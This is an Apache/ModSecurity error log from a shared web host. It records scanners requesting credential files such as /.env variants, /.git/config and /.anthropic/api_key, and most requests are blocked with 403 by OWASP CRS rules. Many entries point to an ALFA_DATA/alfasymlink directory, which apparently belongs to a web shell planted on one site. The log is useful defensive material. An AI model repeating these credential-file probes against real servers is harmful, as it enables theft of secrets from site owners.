[Sat Oct 24 22:07:32.106431 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at1kZFQTwXU83R4GW_mbqwAAACg"]
[Sat Oct 24 22:07:32.281697 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1kZECehrQoNuVtn8-PkAAAAAM"]
[Sat Oct 24 22:07:32.281948 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1kZECehrQoNuVtn8-PkAAAAAM"]
[Sat Oct 24 22:07:32.282322 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1kZECehrQoNuVtn8-PkAAAAAM"]
[Sat Oct 24 22:07:32.290236 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at1kZFQTwXU83R4GW_mbrAAAACg"]
[Sat Oct 24 22:07:32.290382 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at1kZFQTwXU83R4GW_mbrAAAACg"]
[Sat Oct 24 22:07:32.290624 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at1kZFQTwXU83R4GW_mbrAAAACg"]
[Sat Oct 24 22:07:36.413599 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 85.208.96.199:41832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_inode/reclaim_account
[Sat Oct 24 22:07:50.140115 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.167.32.123:51976] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:07:55.377916 2026] [core:crit] [pid 2707149:tid 2707149] (13)Permission denied: [client 66.132.195.115:36264] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 22:07:58.055709 2026] [core:crit] [pid 2693035:tid 2693035] (13)Permission denied: [client 66.132.195.115:36280] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 22:07:58.222210 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 54.197.82.195:3950] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/input4/event2/subsystem/event3/device/device/driver/unbind
[Sat Oct 24 22:08:02.176159 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.232.36.1:53535] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:08:05.252929 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.16:20366] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-256/objs_per_slab
[Sat Oct 24 22:08:06.132596 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 23.21.175.228:43695] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/5:0/subsystem/tty0/subsystem/ttyS2/close_delay
[Sat Oct 24 22:08:22.127429 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 3.221.156.96:10431] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/pcspkr/drivers/platform:pcspkr/pcspkr/input/input5/subsystem/input4/device/drvctl
[Sat Oct 24 22:08:34.142615 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.231.118.144:64265] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:08:38.159805 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.225.199.17:21315] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:08:42.149863 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.211.39.188:1566] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:08:54.251254 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 34.206.193.60:14416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/slab/ext4_pending_reservation/store_user
[Sat Oct 24 22:08:58.140408 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 44.223.232.55:12373] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:09:01.236710 2026] [security2:error] [pid 2693035:tid 2693035] [client 144.172.105.154:42422] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kvd3lMH_Ldre-PZtvbQAAACk"]
[Sat Oct 24 22:09:01.236975 2026] [security2:error] [pid 2693035:tid 2693035] [client 144.172.105.154:42422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kvd3lMH_Ldre-PZtvbQAAACk"]
[Sat Oct 24 22:09:01.237315 2026] [security2:error] [pid 2693035:tid 2693035] [client 144.172.105.154:42422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kvd3lMH_Ldre-PZtvbQAAACk"]
[Sat Oct 24 22:09:01.243234 2026] [security2:error] [pid 2693034:tid 2693034] [client 144.172.105.154:42426] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kvVQTwXU83R4GW_mbrwAAACg"]
[Sat Oct 24 22:09:01.243387 2026] [security2:error] [pid 2693034:tid 2693034] [client 144.172.105.154:42426] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kvVQTwXU83R4GW_mbrwAAACg"]
[Sat Oct 24 22:09:01.243615 2026] [security2:error] [pid 2693034:tid 2693034] [client 144.172.105.154:42426] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kvVQTwXU83R4GW_mbrwAAACg"]
[Sat Oct 24 22:09:01.453059 2026] [security2:error] [pid 2684583:tid 2684583] [client 144.172.105.154:42440] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kvT8oejtZfsaip1YpigAAABE"]
[Sat Oct 24 22:09:01.453317 2026] [security2:error] [pid 2684583:tid 2684583] [client 144.172.105.154:42440] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kvT8oejtZfsaip1YpigAAABE"]
[Sat Oct 24 22:09:01.453771 2026] [security2:error] [pid 2684583:tid 2684583] [client 144.172.105.154:42440] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kvT8oejtZfsaip1YpigAAABE"]
[Sat Oct 24 22:09:01.859249 2026] [security2:error] [pid 2692979:tid 2692979] [client 144.172.105.154:42448] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kvfavbqLdB7btCU--lAAAABc"]
[Sat Oct 24 22:09:01.859487 2026] [security2:error] [pid 2692979:tid 2692979] [client 144.172.105.154:42448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kvfavbqLdB7btCU--lAAAABc"]
[Sat Oct 24 22:09:01.859753 2026] [security2:error] [pid 2692979:tid 2692979] [client 144.172.105.154:42448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kvfavbqLdB7btCU--lAAAABc"]
[Sat Oct 24 22:09:02.330552 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.204.62.163:58047] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:09:06.479962 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 3.213.213.161:10162] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/cpu/cpu0/subsystem/devices/cpu1/crash_notes_size
[Sat Oct 24 22:09:27.492942 2026] [authz_core:error] [pid 2692918:tid 2692918] [client 165.154.236.229:46334] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 22:09:38.132278 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.226.106.93:42143] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:09:46.140565 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 34.234.200.207:5836] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:10/subsystem/tty4/subsystem/ttyS1/io_type
[Sat Oct 24 22:09:54.142397 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 44.197.76.210:58283] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/module/iptable_nat/uevent
[Sat Oct 24 22:10:06.195436 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 52.203.237.170:11830] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0501:01/subsystem/drivers/hardware_error_device/unbind
[Sat Oct 24 22:10:10.135627 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.28.49.152:3281] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:10:17.361043 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.6:34570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/reclaim_account
[Sat Oct 24 22:10:26.148525 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 100.29.164.178:23628] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:10:34.234427 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.215.77.19:21994] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:10:41.955058 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 85.208.96.202:40786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/remote_node_defrag_ratio
[Sat Oct 24 22:10:46.146993 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 184.73.167.217:31916] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:10:50.138602 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 52.70.123.241:42645] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:10:54.189271 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.223.232.55:40659] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:11:18.270992 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.213.240.226:57473] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:11:18.722546 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 85.208.96.207:12802] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:11:34.141666 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 50.17.193.48:34711] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A06:02/subsystem/uevent
[Sat Oct 24 22:11:42.127408 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.3.104.214:29001] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:11:58.144624 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 34.236.41.241:7827] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/input5/device/driver/pcspkr/subsystem/drivers/efi-framebuffer/uevent
[Sat Oct 24 22:12:22.119111 2026] [ssl:error] [pid 2707149:tid 2707149] (5)Input/output error: [client 52.203.237.170:5271] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:12:26.687364 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 3.94.199.128:60512] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:12:46.346027 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 3.218.103.254:7151] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/physical_node/0000:00:01.3/driver/new_id
[Sat Oct 24 22:13:20.670598 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 85.208.96.198:58926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/total_objects
[Sat Oct 24 22:13:22.148448 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 3.208.146.193:51876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:01.0/firmware_node/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/rescan
[Sat Oct 24 22:13:27.605447 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 85.208.96.197:51834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_tree_mark/sanity_checks
[Sat Oct 24 22:13:30.149175 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 100.29.128.75:16144] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:13:34.131780 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.205.163.103:6846] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:13:50.131527 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 44.215.210.112:5409] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:13:52.590184 2026] [authz_core:error] [pid 2731612:tid 2731612] [client 165.154.236.229:54258] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 22:13:59.116742 2026] [security2:error] [pid 2733464:tid 2733464] [client 165.154.236.229:54338] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/.anthropic/api_key"] [unique_id "at1l5yTLSCb4RJ-3cSWWVwAAAAE"]
[Sat Oct 24 22:13:59.116786 2026] [security2:error] [pid 2733464:tid 2733464] [client 165.154.236.229:54338] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/.anthropic/api_key"] [unique_id "at1l5yTLSCb4RJ-3cSWWVwAAAAE"]
[Sat Oct 24 22:14:02.136002 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.213.240.226:62848] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:14:06.357477 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.231.118.144:35477] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:14:07.059947 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at1l7zr66i8lbh-yPykExgAAAAA"]
[Sat Oct 24 22:14:07.060202 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at1l7zr66i8lbh-yPykExgAAAAA"]
[Sat Oct 24 22:14:07.060490 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at1l7zr66i8lbh-yPykExgAAAAA"]
[Sat Oct 24 22:14:07.830754 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at1l7zr66i8lbh-yPykExwAAAAA"]
[Sat Oct 24 22:14:07.830973 2026] [security2:error] [pid 2707149:tid 2707149] [client 165.154.236.229:39258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at1l7zr66i8lbh-yPykExwAAAAA"]
